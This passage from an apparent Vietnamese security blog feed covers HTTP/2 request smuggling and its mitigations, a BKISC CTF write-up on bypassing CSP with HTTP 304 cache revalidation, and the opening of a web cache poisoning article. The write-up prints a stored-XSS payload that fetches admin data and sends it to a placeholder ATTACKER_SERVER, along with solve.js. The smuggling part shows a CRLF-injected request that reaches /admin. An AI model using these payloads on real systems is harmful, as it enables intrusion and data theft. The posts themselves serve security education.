<p>Đây là lý do HTTP/2 downgrade có thể mở ra những hướng tấn công mới mà HTTP/1.1 thông thường khó khai thác hơn.</p>

<h2 id="http2-request-splitting">HTTP/2 request splitting</h2>

<p>HTTP/2 request splitting là kỹ thuật tách một request HTTP/2 thành nhiều request HTTP/1.1 sau khi downgrade.</p>

<p>Điểm mạnh của kỹ thuật này là attacker không nhất thiết phải dùng request có body như POST. Ngay cả một request GET cũng có thể bị lợi dụng nếu chèn được CRLF vào header.</p>

<p>Ví dụ ý tưởng:</p>

<p><code class="language-plaintext highlighter-rouge">:method GET :path / :authority vulnerable-website.com foo: bar\r\n \r\n GET /admin HTTP/1.1\r\n Host: vulnerable-website.com</code></p>

<p>Khi downgrade, back-end có thể hiểu đây là hai request riêng biệt:</p>

<p><code class="language-plaintext highlighter-rouge">GET / HTTP/1.1 Host: vulnerable-website.com Foo: bar</code></p>

<p>và:</p>

<p><code class="language-plaintext highlighter-rouge">GET /admin HTTP/1.1 Host: vulnerable-website.com</code></p>

<p>Tuy nhiên, khi thực hiện request splitting, cần chú ý cách front-end rewrite request. Ví dụ, front-end có thể tự thêm header Host ở cuối danh sách header. Nếu split xảy ra trước vị trí đó, request đầu tiên có thể bị thiếu Host, còn request thứ hai lại có dư Host.</p>

<p>Do đó, attacker cần tính toán vị trí header được inject sao cho cả request thật và request smuggled đều hợp lệ với back-end.</p>

<h2 id="http-request-tunnelling">HTTP request tunnelling</h2>

<p>HTTP request tunnelling là một hướng khai thác nâng cao hơn, hữu ích trong trường hợp front-end và back-end không tái sử dụng connection.</p>

<p>Nhiều kỹ thuật request smuggling truyền thống phụ thuộc vào việc nhiều request cùng đi qua một connection backend. Nếu connection không được reuse, việc smuggle request trở nên khó hơn.</p>

<p>Request tunnelling giải quyết vấn đề này bằng cách lợi dụng cách server xử lý request và response sớm, từ đó tạo ra kênh để đưa request phụ đi qua request chính. Đây là nền tảng cho một số kỹ thuật hiện đại như 0.CL desync.</p>

<h2 id="0cl-request-smuggling">0.CL request smuggling</h2>

<p>0.CL xảy ra khi front-end bỏ qua Content-Length, nhưng back-end lại xử lý nó.</p>

<p>Trước đây, kiểu lỗi này từng được xem là khó khai thác vì dễ gây deadlock: front-end và back-end chờ nhau, không bên nào hoàn tất request.</p>

<p>Tuy nhiên, khi kết hợp với <strong>early-response gadget</strong>, attacker có thể khiến back-end trả response trước khi đọc xong toàn bộ body. Từ đó phá deadlock và tiếp tục tạo desync.</p>

<p>Đây là một kỹ thuật phức tạp hơn, nhưng nó cho thấy request smuggling vẫn còn nhiều biến thể nguy hiểm ngay cả khi các lỗi CL.TE hoặc TE.CL cơ bản đã được vá.</p>

<h2 id="tổng-kết">Tổng kết</h2>

<p>Advanced request smuggling cho thấy vấn đề không chỉ nằm ở HTTP/1.1. Khi HTTP/2 được triển khai cùng HTTP/1.1 thông qua cơ chế downgrade, rất nhiều lỗi mới có thể xuất hiện.</p>

<p>Các điểm quan trọng cần nhớ:</p>

<ol>
  <li>HTTP/2 tự nó có cơ chế xác định độ dài request khá rõ ràng.</li>
  <li>Rủi ro lớn xuất hiện khi HTTP/2 bị downgrade sang HTTP/1.1.</li>
  <li>H2.CL lợi dụng content-length không được validate đúng.</li>
  <li>H2.TE lợi dụng transfer-encoding: chunked không bị strip/block.</li>
  <li>CRLF injection trong HTTP/2 có thể biến thành header injection sau khi downgrade.</li>
  <li>Request splitting có thể tách một request HTTP/2 thành nhiều request HTTP/1.1 ở back-end.</li>
  <li>Response queue poisoning có thể làm lộ response của người dùng khác.</li>
  <li>0.CL và request tunnelling cho thấy request smuggling vẫn còn nguy hiểm ngay cả khi connection reuse không rõ ràng.</li>
</ol>

<p>Tóm lại, HTTP/2 không tự động làm request smuggling biến mất. Nếu hệ thống downgrade HTTP/2 sang HTTP/1.1 không an toàn, nó thậm chí có thể tạo ra những vector tấn công mạnh hơn so với các kỹ thuật truyền thống.</p>

<h2 id="vi-cách-phòng-ngừa-các-lỗ-hổng-tấn-công-http-request-smuggling">VI. Cách phòng ngừa các lỗ hổng tấn công HTTP request smuggling</h2>

<p>HTTP Request Smuggling xảy ra khi <strong>front-end server và back-end server hiểu request theo hai cách khác nhau</strong>, dẫn đến việc ranh giới giữa các request bị diễn giải sai lệch. Điều này thường xuất hiện khi một phía xử lý request dựa trên <code class="language-plaintext highlighter-rouge">Content-Length</code>, trong khi phía còn lại ưu tiên <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>.</p>

<p>Ngoài ra, trong môi trường <strong>HTTP/2</strong>, nhiều hệ thống thường thực hiện <strong>HTTP downgrading</strong> (chuyển request từ HTTP/2 xuống HTTP/1.1 trước khi gửi đến back-end). Nếu việc chuyển đổi này không được xử lý cẩn thận, nó có thể mở ra thêm nhiều biến thể của request smuggling.</p>

<p>Để giảm thiểu rủi ro, có thể áp dụng một số biện pháp sau:</p>

<h3 id="1-sử-dụng-http2-end-to-end-nếu-có-thể">1. Sử dụng HTTP/2 end-to-end nếu có thể</h3>

<p>Về bản chất, HTTP/2 sử dụng cơ chế frame-based để xác định độ dài request thay vì phụ thuộc vào <code class="language-plaintext highlighter-rouge">Content-Length</code> hay <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>. Điều này giúp loại bỏ phần lớn các ambiguity vốn là nguyên nhân của request smuggling.</p>

<p>Do đó, nếu hạ tầng cho phép, nên triển khai <strong>HTTP/2 xuyên suốt từ client đến back-end</strong> và hạn chế việc downgrade xuống HTTP/1.1.</p>

<p>Trong trường hợp bắt buộc phải downgrade, cần validate request thật chặt chẽ trước khi rewrite sang HTTP/1.1. Ví dụ:</p>

<ul>
  <li>Từ chối request chứa ký tự newline bất thường trong header</li>
  <li>Reject header name chứa dấu <code class="language-plaintext highlighter-rouge">:</code></li>
  <li>Không chấp nhận request method có khoảng trắng hoặc format không hợp lệ</li>
  <li>Loại bỏ các request malformed hoặc có dấu hiệu ambiguity</li>
</ul>

<h3 id="2-chuẩn-hóa-request-ở-front-end-và-validate-lại-ở-back-end">2. Chuẩn hóa request ở front-end và validate lại ở back-end</h3>

<p>Một trong những nguyên nhân lớn nhất của request smuggling là <strong>sự không đồng nhất giữa các thành phần xử lý HTTP</strong>.</p>

<p>Front-end nên thực hiện <strong>normalize request</strong> trước khi chuyển tiếp, ví dụ:</p>

<ul>
  <li>Chỉ chấp nhận một cơ chế xác định body (<code class="language-plaintext highlighter-rouge">Content-Length</code> hoặc <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>)</li>
  <li>Loại bỏ duplicated header bất thường</li>
  <li>Chuẩn hóa line ending và encoding</li>
</ul>

<p>Trong khi đó, back-end không nên “tin tưởng” request đã được xử lý phía trước. Nếu request vẫn còn ambiguity, tốt nhất là <strong>reject ngay và đóng TCP connection</strong> để tránh connection reuse bị lợi dụng.</p>

<h3 id="3-không-giả-định-rằng-request-sẽ-không-có-body">3. Không giả định rằng request sẽ không có body</h3>

<p>Nhiều hệ thống thường giả định rằng các method như <code class="language-plaintext highlighter-rouge">GET</code>, <code class="language-plaintext highlighter-rouge">HEAD</code> hoặc một số endpoint nhất định sẽ không bao giờ có request body. Đây chính là nguyên nhân dẫn đến các kỹ thuật như:</p>

<ul>
  <li><strong>CL.0 smuggling</strong></li>
  <li><strong>Client-side desync attacks</strong></li>
</ul>

<p>Vì vậy, server nên luôn xử lý request body một cách nhất quán thay vì dựa vào assumption.</p>

<h3 id="4-đóng-connection-khi-xảy-ra-lỗi-xử-lý-request">4. Đóng connection khi xảy ra lỗi xử lý request</h3>

<p>Nếu trong quá trình parse hoặc xử lý request xuất hiện exception ở cấp server, việc tiếp tục reuse connection có thể tạo điều kiện cho attacker poison request queue.</p>

<p>Một biện pháp an toàn là:</p>

<blockquote>
  <p>Khi gặp lỗi parsing hoặc request bất thường → đóng connection ngay thay vì giữ lại.</p>
</blockquote>

<p>Điều này giúp hạn chế khả năng request tiếp theo bị “dính” dữ liệu còn sót lại từ request trước.</p>

<h3 id="5-nếu-dùng-proxy-ưu-tiên-http2-upstream">5. Nếu dùng proxy, ưu tiên HTTP/2 upstream</h3>

<p>Trong hệ thống có <strong>forward proxy hoặc reverse proxy</strong>, nên bật <strong>upstream HTTP/2</strong> nếu có thể.</p>

<p>Lý do là càng ít bước chuyển đổi giao thức (protocol translation), khả năng xảy ra parsing discrepancy càng thấp.</p>

<h3 id="6-hạn-chế-hoặc-tắt-connection-reuse-với-back-end">6. Hạn chế hoặc tắt connection reuse với back-end</h3>

<p>Một số biến thể request smuggling phụ thuộc vào việc <strong>persistent connection / connection reuse</strong> được bật giữa front-end và back-end.</p>

<p>Việc disable reuse hoặc giảm thời gian keep-alive có thể giúp giảm tác động của một số kỹ thuật tấn công.</p>

<p>Tuy nhiên cần lưu ý rằng:</p>

<blockquote>
  <p>Đây chỉ là biện pháp giảm thiểu (mitigation), không phải giải pháp triệt để.</p>
</blockquote>

<p>Bởi attacker vẫn có thể khai thác các kỹ thuật như <strong>request tunnelling</strong>, ngay cả khi connection reuse đã bị vô hiệu hóa.</p>

<h3 id="7-đồng-bộ-parser-giữa-các-tầng-hệ-thống-khuyến-nghị-thực-tế">7. Đồng bộ parser giữa các tầng hệ thống (khuyến nghị thực tế)</h3>

<p>Trong thực tế, nhiều lỗ hổng request smuggling xuất hiện do:</p>

<ul>
  <li>CDN parse request kiểu này</li>
  <li>WAF parse kiểu khác</li>
  <li>Reverse proxy hiểu khác</li>
  <li>Back-end framework lại hiểu theo cách riêng</li>
</ul>

<p>Nếu có thể, nên sử dụng các thành phần HTTP stack tương thích với nhau hoặc kiểm tra kỹ cách mỗi layer xử lý:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Content-Length</code></li>
  <li><code class="language-plaintext highlighter-rouge">Transfer-Encoding</code></li>
  <li>duplicate headers</li>
  <li>malformed chunk</li>
  <li>whitespace bất thường</li>
</ul>

<p>Việc test parser discrepancy định kỳ cũng rất quan trọng, đặc biệt trong các hệ thống microservice hoặc multi-proxy.</p>

<h2 id="tài-liệu-tham-khảo">Tài liệu tham khảo</h2>

<ul>
  <li><a href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn#demo">PortSwigger: HTTP Desync Attacks - Request Smuggling Reborn</a></li>
  <li><a href="https://portswigger.net/web-security/request-smuggling">PortSwigger: Web Security Academy - HTTP Request Smuggling</a></li>
  <li><a href="https://docs.google.com/document/d/1DNkxizhxwmfHnO5xhcqhweZ4P0VdMp1-NbsxihSBRtM/edit?tab=t.0#heading=h.wypu79tk99ql">Google Docs: HTTP Request Smuggling Notes</a></li>
</ul>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Penetration-Testing" /><category term="web" /><category term="http-request-smuggling" /><category term="web-security" /><summary type="html"><![CDATA[Hãy tưởng tượng bạn đi mua đồ ở siêu thị. Bạn đặt 3 món hàng lên băng chuyền, nhưng vì nhân viên thu ngân và người xếp hàng không hiểu ý nhau, món thứ 3 của bạn lại bị “dính” sang hóa đơn của người đứng sau. Đó chính là cách HTTP Request Smuggling hoạt động — kẻ tấn công lén nhét một yêu cầu độc hại để người dùng tiếp theo phải gánh chịu.]]></summary></entry><entry><title type="html">[BKISC CTF] Secure Notes - CSP Bypass via HTTP 304 Not Modified</title><link href="https://phucquan.github.io/writeups/secure-notes-csp-bypass/" rel="alternate" type="text/html" title="[BKISC CTF] Secure Notes - CSP Bypass via HTTP 304 Not Modified" /><published>2026-05-09T00:00:00+00:00</published><updated>2026-05-09T00:00:00+00:00</updated><id>https://phucquan.github.io/writeups/secure-notes-csp-bypass</id><content type="html" xml:base="https://phucquan.github.io/writeups/secure-notes-csp-bypass/"><![CDATA[<h2 id="challenge-info">Challenge Info</h2>

<p><strong>Event:</strong> BKISC CTF<br />
<strong>Challenge Name:</strong> Secure Notes<br />
<strong>Category:</strong> Web<br />
<strong>Difficulty:</strong> Hard<br />
<strong>Points:</strong> 475</p>

<p><strong>Challenge Description:</strong></p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A secure note service.
- Objective: Thực thi mã XSS trên trình duyệt của Admin Bot để lấy flag tại `/api/admin/data`.
- Initial access: Source code NodeJS/ExpressJS đính kèm. Bot tự động sử dụng Puppeteer để truy cập URL được report.
</code></pre></div></div>

<!-- more -->

<hr />

<h2 id="initial-reconnaissance">Initial Reconnaissance</h2>

<h3 id="understanding-the-challenge">Understanding the Challenge</h3>

<ul>
  <li><strong>Goal:</strong> Đọc được nội dung <code class="language-plaintext highlighter-rouge">/api/admin/data</code> (chứa flag) mà chỉ Admin mới có quyền truy cập.</li>
  <li><strong>Type:</strong> Web Security (XSS, Content Security Policy, HTTP Caching).</li>
  <li><strong>Skills Required:</strong> Hiểu rõ cơ chế HTTP Caching (ETag, 304 Not Modified), ExpressJS response lifecycle, và CSP.</li>
</ul>

<h3 id="information-gathering">Information Gathering</h3>

<p>Đọc source code (<code class="language-plaintext highlighter-rouge">app.js</code>), ta thấy các điểm đáng chú ý sau:</p>
<ol>
  <li>Endpoint <code class="language-plaintext highlighter-rouge">POST /api/note</code> cho phép tạo ghi chú. Nó có filter thẻ <code class="language-plaintext highlighter-rouge">&lt;meta&gt;</code> nhưng hoàn toàn <strong>cho phép thẻ <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code></strong> =&gt; <strong>Stored XSS</strong>.</li>
  <li>Endpoint <code class="language-plaintext highlighter-rouge">GET /note/:id</code> trả về giao diện xem ghi chú. Mặc định nó đi kèm với Header CSP rất chặt chẽ sử dụng Nonce ngẫu nhiên: <code class="language-plaintext highlighter-rouge">script-src 'nonce-...';</code>. Điều này khiến mã XSS của ta không thể chạy.</li>
  <li>Bot sử dụng headless Chrome (Puppeteer) và không bị disable cache.</li>
</ol>

<p><strong>Key Observations:</strong>
Điểm thú vị nhất nằm ở logic xử lý CSP của endpoint <code class="language-plaintext highlighter-rouge">GET /note/:id</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">isConditional</span> <span class="o">=</span> <span class="o">!!</span><span class="nx">req</span><span class="p">.</span><span class="nx">headers</span><span class="p">[</span><span class="dl">'</span><span class="s1">if-none-match</span><span class="dl">'</span><span class="p">];</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">isConditional</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">note</span><span class="p">.</span><span class="nx">lastFreshView</span> <span class="o">=</span> <span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">();</span>
<span class="p">}</span>

<span class="kd">const</span> <span class="nx">shareAfterLastView</span> <span class="o">=</span> <span class="nx">note</span><span class="p">.</span><span class="nx">shareTime</span> <span class="o">&amp;&amp;</span> <span class="nx">note</span><span class="p">.</span><span class="nx">lastFreshView</span> <span class="o">&amp;&amp;</span> <span class="nx">note</span><span class="p">.</span><span class="nx">shareTime</span> <span class="o">&gt;</span> <span class="nx">note</span><span class="p">.</span><span class="nx">lastFreshView</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">note</span><span class="p">.</span><span class="nx">shared</span> <span class="o">&amp;&amp;</span> <span class="nx">isConditional</span> <span class="o">&amp;&amp;</span> <span class="nx">shareAfterLastView</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">setHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-Security-Policy</span><span class="dl">'</span><span class="p">,</span> <span class="dl">"</span><span class="s2">default-src * 'unsafe-inline'; script-src 'unsafe-inline' *; connect-src *; img-src *</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">nonce</span> <span class="o">=</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">randomBytes</span><span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="dl">'</span><span class="s1">base64</span><span class="dl">'</span><span class="p">);</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">setHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-Security-Policy</span><span class="dl">'</span><span class="p">,</span> <span class="s2">`default-src 'self'; script-src 'nonce-</span><span class="p">${</span><span class="nx">nonce</span><span class="p">}</span><span class="s2">'`</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">setHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Cache-Control</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">no-cache</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">`...`</span><span class="p">);</span>
</code></pre></div></div>

<hr />

<h2 id="enumeration--analysis">Enumeration &amp; Analysis</h2>

<h3 id="step-1-identify-the-vulnerability">Step 1: Identify the Vulnerability</h3>

<p>Mục tiêu là chui vào nhánh <code class="language-plaintext highlighter-rouge">if</code> bên trên để CSP trở thành <code class="language-plaintext highlighter-rouge">'unsafe-inline'</code>, từ đó mã XSS có thể hoạt động.
Để vào được nhánh này, ta cần 3 điều kiện:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">note.shared == true</code></li>
  <li><code class="language-plaintext highlighter-rouge">isConditional == true</code> (Request phải có header <code class="language-plaintext highlighter-rouge">If-None-Match</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">shareAfterLastView == true</code> (Thời gian share note phải LỚN HƠN thời gian note được truy cập lần cuối cùng mà không dùng cache).</li>
</ol>

<h3 id="step-2-understand-the-attack-vector">Step 2: Understand the Attack Vector</h3>

<p><strong>Tại sao HTTP 304 lại nguy hiểm ở đây?</strong>
Hàm <code class="language-plaintext highlighter-rouge">res.send()</code> của Express mặc định tự động tính toán ETag cho nội dung HTML trả về.</p>
<ul>
  <li>Mặc dù Header có <code class="language-plaintext highlighter-rouge">Cache-Control: no-cache</code>, trình duyệt vẫn sẽ lưu HTML vào cache, nhưng bị <strong>bắt buộc</strong> phải xác thực lại (revalidate) với server ở lần truy cập kế tiếp bằng cách gửi header <code class="language-plaintext highlighter-rouge">If-None-Match: &lt;ETag&gt;</code>.</li>
  <li>Về phía Bot (user <code class="language-plaintext highlighter-rouge">admin</code>), nội dung HTML sinh ra hoàn toàn không có sự khác biệt (do Bot không phải owner của bài viết, nên thẻ <code class="language-plaintext highlighter-rouge">&lt;button&gt;</code> Share/Unshare không được render). Điều này khiến ETag ở lần 1 và lần 2 giống hệt nhau.</li>
  <li>Khi Express thấy ETag khớp, nó sẽ chuyển HTTP Status thành <code class="language-plaintext highlighter-rouge">304 Not Modified</code>, cắt bỏ body HTML và chỉ trả về các Headers.</li>
  <li><strong>Trình duyệt khi nhận HTTP 304 sẽ tiến hành cập nhật (ghi đè) các Headers mới vào Cache cũ</strong>. Nhờ đó, CSP lỏng lẻo mới sẽ được áp dụng trực tiếp lên đoạn HTML chứa mã XSS đang nằm sẵn trong Cache!</li>
</ul>

<hr />

<h2 id="exploitation">Exploitation</h2>

<h3 id="attack-strategy">Attack Strategy</h3>

<p><strong>Hypothesis:</strong> Ta sẽ thao túng quá trình duyệt web của Admin Bot thông qua một trang web do ta tự host (Exploit Page).</p>

<h3 id="exploitation-steps">Exploitation Steps</h3>

<h4 id="step-1-chuẩn-bị-note-chứa-xss">Step 1: Chuẩn bị Note chứa XSS</h4>
<p>Tạo một Note mới (chưa share) với nội dung:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
    <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/admin/data</span><span class="dl">'</span><span class="p">)</span>
        <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">text</span><span class="p">())</span>
        <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">d</span> <span class="o">=&gt;</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://ATTACKER_SERVER/flag?data=</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">d</span><span class="p">)))</span>
<span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span></code></pre></div></div>

<h4 id="step-2-đầu-độc-cache-của-bot-phase-1">Step 2: Đầu độc Cache của Bot (Phase 1)</h4>
<p>Báo cáo (report) trang Exploit của chúng ta cho Admin Bot. Trang Exploit sẽ dùng <code class="language-plaintext highlighter-rouge">window.open('/note/ID')</code> để ép Bot mở Note lên.</p>
<ul>
  <li>Bot truy cập lần 1 -&gt; Lưu HTML chứa XSS vào Cache với CSP an toàn.</li>
  <li>Lúc này <code class="language-plaintext highlighter-rouge">lastFreshView</code> trên server cập nhật thành thời điểm hiện tại.</li>
</ul>

<h4 id="step-3-trigger-tính-năng-share">Step 3: Trigger tính năng Share</h4>
<p>Sau khi Bot đã lưu cache (khoảng 1.5 giây), trang Exploit gọi về server Attacker để tự động trigger API <code class="language-plaintext highlighter-rouge">/api/note/ID/share</code>.</p>
<ul>
  <li>Lúc này <code class="language-plaintext highlighter-rouge">note.shareTime</code> sẽ được cập nhật và chắc chắn <strong>lớn hơn</strong> <code class="language-plaintext highlighter-rouge">lastFreshView</code> của Bot.</li>
</ul>

<h4 id="step-4-re-validation--execute-phase-2">Step 4: Re-validation &amp; Execute (Phase 2)</h4>
<p>Trang Exploit ép cửa sổ <code class="language-plaintext highlighter-rouge">window.open</code> tải lại (<code class="language-plaintext highlighter-rouge">w.location = ...</code>).</p>
<ul>
  <li>Trình duyệt Bot tìm thấy Cache cũ -&gt; Gửi request kèm <code class="language-plaintext highlighter-rouge">If-None-Match</code>.</li>
  <li>Server kiểm tra: <code class="language-plaintext highlighter-rouge">note.shared</code> (OK) + <code class="language-plaintext highlighter-rouge">isConditional</code> (OK) + <code class="language-plaintext highlighter-rouge">shareAfterLastView</code> (OK) -&gt; Trả về CSP <code class="language-plaintext highlighter-rouge">unsafe-inline</code> cùng mã 304 Not Modified.</li>
  <li>Trình duyệt Bot cập nhật CSP mới vào Cache -&gt; XSS được thực thi -&gt; Lấy Flag!</li>
</ul>

<h3 id="final-exploit-code">Final Exploit Code</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// solve.js - Đoạn mã gắn trên trang Exploit của Hacker</span>
<span class="kd">let</span> <span class="nx">w</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://localhost:3000/note/ID_CUA_NOTE</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">target</span><span class="dl">'</span><span class="p">);</span>
        
<span class="nx">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="c1">// Kích hoạt API Share</span>
    <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://ATTACKER_SERVER/share</span><span class="dl">'</span><span class="p">).</span><span class="nx">then</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="c1">// Ép bot load lại url để lấy 304</span>
        <span class="nx">w</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://localhost:3000/note/ID_CUA_NOTE</span><span class="dl">'</span><span class="p">;</span>
    <span class="p">});</span>
<span class="p">},</span> <span class="mi">1500</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>Result:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[!!!] FLAG RECEIVED [!!!]
{"flag":"BKISC{I_th0ught_I_w4s_s3cur3_but_chr0me_1s_4lw4ys_s0m3thing_n3w_69e086984dab}"}
</code></pre></div></div>

<hr />

<h2 id="key-lessons-learned">Key Lessons Learned</h2>

<h3 id="technical-insights">Technical Insights</h3>

<ol>
  <li><strong>Vulnerability Root Cause</strong>
    <ul>
      <li>Sự nguy hiểm tiềm tàng khi thay đổi các Security Headers (như CSP) dựa trên trạng thái cache (<code class="language-plaintext highlighter-rouge">If-None-Match</code>).</li>
      <li>Việc lạm dụng tính năng Auto-ETag của Express khi dữ liệu nhạy cảm được nhúng động.</li>
    </ul>
  </li>
  <li><strong>Attack Pattern Recognition</strong>
    <ul>
      <li>Khi gặp một bài Web có Stored XSS nhưng bị vướng CSP chặt, hãy kiểm tra ngay các Endpoint có xử lý <code class="language-plaintext highlighter-rouge">If-None-Match</code>, <code class="language-plaintext highlighter-rouge">ETag</code>, hoặc trả về HTTP 304.</li>
      <li>HTTP 304 có thể ghi đè Headers của trình duyệt - một tính năng thường bị developer bỏ qua khi thiết kế hệ thống.</li>
    </ul>
  </li>
</ol>

<hr />

<h2 id="solution-summary">Solution Summary</h2>

<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>Action</th>
      <th>Result</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Reconnaissance</td>
      <td>Phát hiện bộ đệm ETag tự động sinh ra mã HTTP 304 và logic thay đổi CSP.</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Attack Chain</td>
      <td>Bắt Bot load note (để lưu Cache) -&gt; Share Note -&gt; Bắt Bot load lại note.</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Exploitation</td>
      <td>Cache của Bot bị đè CSP mới (<code class="language-plaintext highlighter-rouge">unsafe-inline</code>) -&gt; XSS thực thi.</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Data Exfiltration</td>
      <td>XSS lấy flag tại <code class="language-plaintext highlighter-rouge">/api/admin/data</code> gửi về C2 Server.</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="references--resources">References &amp; Resources</h2>

<ul>
  <li>📚 <a href="https://datatracker.ietf.org/doc/html/rfc7234#section-4.3.4">RFC 7234 - HTTP/1.1 Caching (Section 4.3.4: Updating Stored Responses)</a></li>
  <li>🔗 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/ETag">MDN Web Docs - ETag</a></li>
  <li>🔗 <a href="https://expressjs.com/en/api.html">ExpressJS - res.send() and ETag generation</a></li>
</ul>

<p><strong>Last Updated:</strong> 2026-05-09</p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="ctf" /><category term="web" /><category term="xss" /><category term="csp-bypass" /><category term="http-304" /><summary type="html"><![CDATA[Challenge Info]]></summary></entry><entry><title type="html">Web Cache Poisoning</title><link href="https://phucquan.github.io/penetration-testing/2026/04/30/web-cache-poisoning/" rel="alternate" type="text/html" title="Web Cache Poisoning" /><published>2026-04-30T00:00:00+00:00</published><updated>2026-04-30T00:00:00+00:00</updated><id>https://phucquan.github.io/penetration-testing/2026/04/30/web-cache-poisoning</id><content type="html" xml:base="https://phucquan.github.io/penetration-testing/2026/04/30/web-cache-poisoning/"><![CDATA[<h2 id="i-lời-mở-đầu">I. Lời mở đầu.</h2>

<p>Trong các hệ thống web hiện đại, caching gần như là một phần không thể thiếu. Từ browser cache, reverse proxy cho tới CDN, tất cả đều được thiết kế để giảm tải cho server và cải thiện tốc độ phản hồi cho người dùng. Nhờ cache, những tài nguyên được request nhiều lần sẽ không cần phải xử lý lại từ đầu, giúp hệ thống hoạt động hiệu quả hơn rất nhiều.</p>

<p>Tuy nhiên, cũng giống như nhiều cơ chế tối ưu khác, cache không chỉ mang lại lợi ích mà còn tiềm ẩn rủi ro nếu bị cấu hình sai. Một trong những kiểu tấn công khai thác trực tiếp vào cơ chế này là <strong>Web Cache Poisoning</strong> – nơi attacker không cần phá logic chính của ứng dụng, mà chỉ cần “đầu độc” dữ liệu trong cache để ảnh hưởng đến hàng loạt người dùng khác.</p>

<p>Trong thực tế pentest, dạng lỗi này thường không lộ rõ như XSS hay SQLi thông thường. Nó đòi hỏi phải hiểu cách hệ thống cache hoạt động, quan sát kỹ HTTP headers, và thử nghiệm nhiều biến thể request để tìm ra sự khác biệt giữa “what affects response” và “what affects cache key”. Chính vì vậy, nhiều hệ thống production vẫn dính lỗi này dù đã được kiểm tra bảo mật.</p>

<p>Vậy Web Cache Poisoning thực sự hoạt động như thế nào, cách khai thác ra sao và làm thế nào để phòng tránh? Hãy cùng mình đi sâu vào trong các phần tiếp theo.</p>

<p><img src="/assets/images/web-cache-poisoning/image.png" alt="image.png" /></p>

<h2 id="ii-web-cache-hoạt-động-như-thế-nào-">II. Web cache hoạt động như thế nào ?</h2>

<p>Để hiểu được Web cache poisoning , trước tiên phải nắm rõ cách caching hoạt động trong thực tế .</p>

<p>Về cơ bản cache là 1 lớp trung gian nằm giữa client và server , có nhiệm vụ lưu trữ tạm thời các respone để phục vụ cho các request tương tự trong tương lại</p>

<p>Web caching là quá trình lưu trữ bản sao của các tài nguyên trên trang web , thường bao gồm là các video , hình ảnh , tệp CSS và JS trên máy chủ quản lý cache CDN ( Content delivery network ) hoặc là trên máy tính của người dùng. Khi người dùng truy cập lần đầu tiên ,trình duyệt sẽ tải toàn bộ tải nguyên từ máy chủ gốc . Cho tới lần truy cập cho lần sau , thì các tài nguyên đó sẽ được lưu trong Cache sẽ được sử dụng lại thay vì tải lại toàn bộ. Điều này làm cho trang web tải nhanh hơn cải thiện trải nghiệm cho người dùng .</p>

<p><img src="/assets/images/web-cache-poisoning/image%201.png" alt="image.png" /></p>

<h3 id="1-các-loại-cache-phổ-biến">1. Các loại cache phổ biến</h3>

<p>Trong hệ thống web, cache thường được chia thành hai loại chính:</p>

<ul>
